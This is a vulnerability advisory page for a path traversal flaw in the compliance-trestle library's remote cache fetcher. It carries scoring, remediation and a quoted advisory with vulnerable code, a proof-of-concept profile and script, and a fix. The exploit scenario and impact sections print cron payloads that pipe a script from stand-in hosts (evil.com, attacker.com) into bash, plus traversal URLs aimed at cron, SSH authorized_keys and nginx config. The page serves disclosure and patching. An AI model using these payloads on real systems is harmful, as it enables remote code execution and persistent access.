Skip to main content

compliance-trestle CVE-2026-45725

| EUVDEUVD-2026-58356 HIGH
External Control of File Name or Path (CWE-73)
2026-05-27 https://github.com/oscal-compass/compliance-trestle GHSA-g3vg-vx23-3858 PYSEC-2026-2424
7.1
CVSS 4.0 · Vendor: https://github.com/oscal-compass/compliance-trestle
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Host server with malicious OSCAL profile
  2. Delivery
    Victim pipeline fetches remote profile imports
  3. Exploit
    HTTPSFetcher parses traversal-laden URL unsanitized
  4. Execution
    Cache path resolves outside .trestle/.cache boundary
  5. Persist
    Attacker-controlled HTTP response written to target system file
  6. Impact
    Payload executes via cron scheduler or SSH key login

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

Exploitation requires that: (1) the target is running compliance-trestle versions 4.0.0-4.0.2 or < 3.12.2; (2) the trestle process fetches a remote OSCAL profile whose imports section references a URL containing ../ path traversal sequences - either by the attacker directly supplying the malicious profile or by compromising a remote profile the victim trusts; (3) the trestle process has OS-level write permission to the target path (e.g., must run as root or as the relevant user to write /etc/cron.d or ~/.ssh). Exploitation is limited by the process's OS privileges: a non-root trestle user cannot write to /etc/cron.d but may still write to any path writable by that user account, including Python library directories or home directory config files. The CVSS PR:L metric confirms that some level of access to influence the input profile is required - unauthenticated exploitation of a default installation with no external profile input is not applicable. No special non-default configuration of trestle itself is needed beyond the library processing remote profile imports, which is a core library feature.

Impact

The CVSS 4.0 base score of 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N) captures the direct arbitrary-file-write impact but understates the realistic chain: because the written content is fully attacker-controlled, subsequent system impact via cron injection or SSH key placement (reaching SC:H/SI:H in a 4.0 framing) is a realistic and documented attack path. EPSS at 0.05% (15th percentile) and absence from CISA KEV indicate that mass exploitation has not been observed, consistent with the niche deployment footprint of this library. However, the presence of a working PoC in the public advisory lowers the exploitation barrier significantly. The PR:L metric is important: the attacker must influence which OSCAL profile the victim processes - in automated CI/CD pipelines that pull remote compliance profiles, this barrier may be lower than it appears. The attack complexity is low (AC:L) once an attacker can supply a crafted profile URL. Comparing signals: CVSS severity is High, EPSS is low, no KEV, but PoC exists and the documented impact chain reaches RCE - this should be treated as a high-priority patch for any environment running trestle in automated pipelines or as root.

Exploit ScenarioDerived

An attacker who can supply or tamper with an OSCAL profile (e.g., via a compromised upstream repository or a man-in-the-middle position) crafts an import URL such as https://evil.com/../../../../../../../etc/cron.d/backdoor and hosts a server that responds with a cron payload (e.g., * * * * * root curl https://attacker.com/shell.sh | bash). When a CI/CD pipeline running compliance-trestle as root resolves the profile's imports, HTTPSFetcher writes the cron payload outside the cache boundary to /etc/cron.d/backdoor, achieving remote code execution within one minute. A working PoC demonstrating the file write primitive is included in the public GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 13, 2026

Arbitrary file write with attacker-controlled content in IBM compliance-trestle (pip package) versions up to 4.0.2 and before 3.12.2 allows a network-positioned attacker with low privilege to escape the library's cache directory by embedding path traversal sequences in OSCAL profile import URLs. The HTTPSFetcher and SFTPFetcher components in trestle/core/remote/cache.py construct local cache paths directly from URL path components without sanitizing ../ sequences, permitting writes to arbitrary filesystem locations such as /etc/cron.d or /root/.ssh/authorized_keys. Publicly available exploit code (PoC) exists in the GitHub Security Advisory GHSA-g3vg-vx23-3858; no active exploitation has been confirmed by CISA KEV, and EPSS is very low at 0.05% (15th percentile).

Earlier versions of this analysis (1)
v1 May 27, 2026 - 23:17

Arbitrary file write in the compliance-trestle Python library (versions 4.0.0-4.0.2 and any release below 3.12.2) lets an attacker who controls a referenced OSCAL artifact plant attacker-supplied content anywhere the trestle process can write. The HTTPSFetcher and SFTPFetcher cache layer builds the local cache file path directly from the URL path component, so when trestle imports a remote OSCAL profile whose href contains ../ traversal the fetched HTTP/SFTP response body escapes the .trestle cache directory; overwriting files such as /etc/cron.d entries, ~/.ssh/authorized_keys, or a module on sys.path turns the primitive into code execution. A reproducible public proof-of-concept exists in the GHSA advisory (GHSA-g3vg-vx23-3858); the flaw is not listed in CISA KEV and no CVSS or EPSS scoring is provided, but the maintainers have shipped fixes in 4.0.3 and 3.12.2.

RemediationAI

Upgrade to compliance-trestle 4.0.3 (for the 4.x branch) or 3.12.2 (for the 3.x branch) - both are confirmed fixed versions per the GHSA advisory and the two patch commits: 89f4e53d159e8ff901da4d7c3b51c9556bd32ec0 and 9abc492329fcc8d0557182317de9bde854385da3 (https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0). The fix adds a PathSecurityValidator class that checks for ../ in URL paths before cache path construction and performs an is_relative_to() boundary check on the resolved path. If immediate patching is not possible, restrict the OS user account running trestle to a dedicated low-privilege account with no write access to sensitive paths (/etc/cron.d, ~/.ssh, /etc/nginx, Python sys.path directories) - note this limits the blast radius but does not prevent the traversal write to locations writable by that account. Additionally, avoid processing OSCAL profiles from untrusted or unauthenticated remote sources in automated pipelines until the patch is applied. Full advisory at https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858.

Affected VersionsENISA

compliance-trestle 4.0.0, < 4.0.3
compliance-trestle < 3.12.2

Affected Packages

pypi compliance-trestle fix: 3.12.2, 4.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

compliance-trestle (pkg:pip/compliance-trestle) is a Python library maintained under the oscal-compass project for authoring and validating OSCAL (Open Security Controls Assessment Language) documents. The vulnerability resides in trestle/core/remote/cache.py at lines 259-266 (HTTPSFetcher) and 328-333 (SFTPFetcher). Python's urllib.parse.urlparse preserves literal ../ sequences in the .path attribute - it does not resolve or normalize traversal segments. The vulnerable code slices u.path, computes its parent with pathlib.Path.parent (which also preserves traversal), and then concatenates this unvalidated fragment onto the cache root directory using the / operator, which in pathlib resolves relative segments. Because mkdir(parents=True, exist_ok=True) is subsequently called, any intermediate directories - including those outside the intended .trestle/.cache boundary - are created before write_text() drops attacker-controlled HTTP response content at the resolved location. CWE-73 (External Control of File Name or Path) captures the root cause: the URL path is externally controlled and is used directly to determine a filesystem write destination. CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) describes the structural consequence - no is_relative_to() boundary check is performed on the resolved path.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/oscal-compass/compliance-trestle) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.7 HIGH

Network-reachable fetch with low attacker privilege; scope changes because writes target OS-level files (cron, SSH) beyond the application boundary; no confidentiality or direct availability impact from the write primitive alone.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:L
Red Hat 7.7 HIGH

Primary rating from Vendor (https://github.com/oscal-compass/compliance-trestle).

CVSS VectorVendor: https://github.com/oscal-compass/compliance-trestle

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Analysis Updated
Aug 13, 2026 - 20:32 vuln.today
v2 - CVSS changed
CVSS changed
Aug 13, 2026 - 20:22 NVD
7.1 (HIGH)

DescriptionCVE.org

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 - HTTPSFetcher cache path construction

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
        u = parse.urlparse(self._uri)
# ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
# ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 - Content written to traversed path

python
    def _do_fetch(self) -> None:
# ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text
# ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)
# ❌ Written to arbitrary path

cache.py:328-333 - SFTPFetcher (identical pattern)

python
class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
# Identical path construction - same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

Root Cause:

  1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json - preserves ../
  2. pathlib.Path(u.path).parent preserves traversal sequences
  3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
  4. mkdir(parents=True, exist_ok=True) creates intermediate directories
  5. write_text(response.text) writes attacker-controlled content to traversed path
  6. No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

bash
pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

yaml
# malicious_profile.yaml - arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

PoC: Cache Path Traversal Simulation

python
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))

Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )

Same fix required for SFTPFetcher at lines 328-333.

References

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

1. Cron Job Injection → Remote Code Execution

yaml
# Profile that writes a cron job
imports:
  - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"

Attacker's server responds with:

* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

yaml
imports:
  - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"

Attacker's server responds with their SSH public key.

3. Config File Overwrite

yaml
imports:
  - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

Executive ViewAI

Why It Matters

IBM compliance-trestle (pip package) versions prior to 3.12.2 and through 4.0.2 contain a path traversal vulnerability enabling attackers with low-level privileges to write arbitrary files to critical system locations including SSH configurations and cron job directories. Publicly available exploit code exists, creating substantial risk of unauthorized system access and privilege escalation for any organization using affected versions. Organizations running trestle for compliance management should prioritize immediate patching to prevent system compromise.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Prevalence
Low
niche OSCAL compliance automation library, primarily government and regulated-industry use
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy